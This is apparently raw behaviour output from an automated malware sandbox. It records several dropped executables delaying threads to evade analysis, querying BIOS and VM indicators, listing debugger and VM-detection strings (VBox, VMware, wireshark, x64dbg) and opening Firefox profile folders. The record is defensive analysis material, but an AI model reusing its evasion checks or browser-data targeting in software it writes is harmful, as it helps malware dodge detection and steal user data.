Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: 6A30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: 6B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: 7B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: BD20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: CD20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: D1B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: E1B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: F270000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: 10270000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: 11270000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: 2AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: 2B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: 4B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Memory allocated: F80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Memory allocated: 4AE0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05390C93 rdtsc

0_2_05390C93

Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1294	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1152	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1134	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1166	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1245	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Window / User API: threadDelayed 9372
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Window / User API: threadDelayed 407
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6674
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3057
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7294
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1662

Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017615001\3b4e53035a.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7632	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7604	Thread sleep count: 1294 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7604	Thread sleep time: -2589294s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7620	Thread sleep count: 1152 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7620	Thread sleep time: -2305152s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7592	Thread sleep count: 293 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7592	Thread sleep time: -8790000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7624	Thread sleep count: 1134 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7624	Thread sleep time: -2269134s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7616	Thread sleep count: 1166 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7616	Thread sleep time: -2333166s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7608	Thread sleep count: 1245 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7608	Thread sleep time: -2491245s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe TID: 7868	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe TID: 8096	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe TID: 792	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe TID: 1272	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe TID: 3940	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe TID: 5716	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe TID: 348	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe TID: 7080	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe TID: 1376	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -99890s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -99780s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -99670s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -99562s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -99452s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -99343s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -99233s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -99113s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -98656s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -98546s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -98437s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -98328s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -98218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -98108s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -97999s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -97890s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -97781s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -97671s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -97562s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -97453s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -97342s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -97234s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -97125s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -97015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -96905s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -96796s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -96684s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -96578s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -96468s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -96359s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -96249s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -96140s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -96031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -95921s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -95812s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -95701s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -95592s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -95483s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -95375s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -95265s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -95153s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -95046s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -94937s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -94802s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -94672s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -94558s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -94444s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe TID: 7412	Thread sleep time: -94342s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7444	Thread sleep count: 6674 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4336	Thread sleep count: 3057 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2764	Thread sleep count: 7294 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2764	Thread sleep count: 1662 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4112	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3916	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe TID: 5268	Thread sleep time: -60000s >= -30000s
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe TID: 4888	Thread sleep count: 60 > 30
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe TID: 3668	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 99890
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 99780
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 99670
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 99562
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 99452
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 99343
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 99233
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 99113
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 98656
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 98546
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 98437
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 98328
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 98218
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 98108
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 97999
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 97890
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 97781
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 97671
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 97562
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 97453
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 97342
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 97234
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 97125
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 97015
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 96905
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 96796
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 96684
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 96578
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 96468
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 96359
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 96249
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 96140
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 96031
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 95921
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 95812
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 95701
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 95592
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 95483
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 95375
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 95265
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 95153
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 95046
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 94937
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 94802
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 94672
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 94558
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 94444
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Thread delayed: delay time: 94342
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\

Source: skotes.exe, skotes.exe, 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmp, 751afd6d8b.exe, 0000000B.00000002.2699505276.000000000093F000.00000040.00000001.01000000.00000011.sdmp, 5fc147bcaa.exe, 0000000E.00000002.2728645648.0000000000874000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware\V
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 126172mzwODenAt XWKouEag@\^q0Microsoft\|VMWare\|Virtual
Source: e8da769a7d.exe, 0000000D.00000003.2632389345.0000000006E91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlK'l
Source: 79cd489a19.exe, 0000000A.00000002.2454373010.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "126172mzwODenAt"tem32\vmGuestLib.dll
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dll
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3049228877.0000000000969000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2636461375.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2492605016.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2596772182.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2517555332.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2676190510.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2700778423.00000000013BA000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2701156853.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2698856799.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen@\^q
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWareLR^q
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q"C:\Windows\system32\vmGuestLib.dll
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CMPZP K7ZW9RC73A@\^q0VMware\|VIRTUAL\|A M I\|Xen
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen
Source: e8da769a7d.exe, 0000000D.00000003.2624547332.0000000001F02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
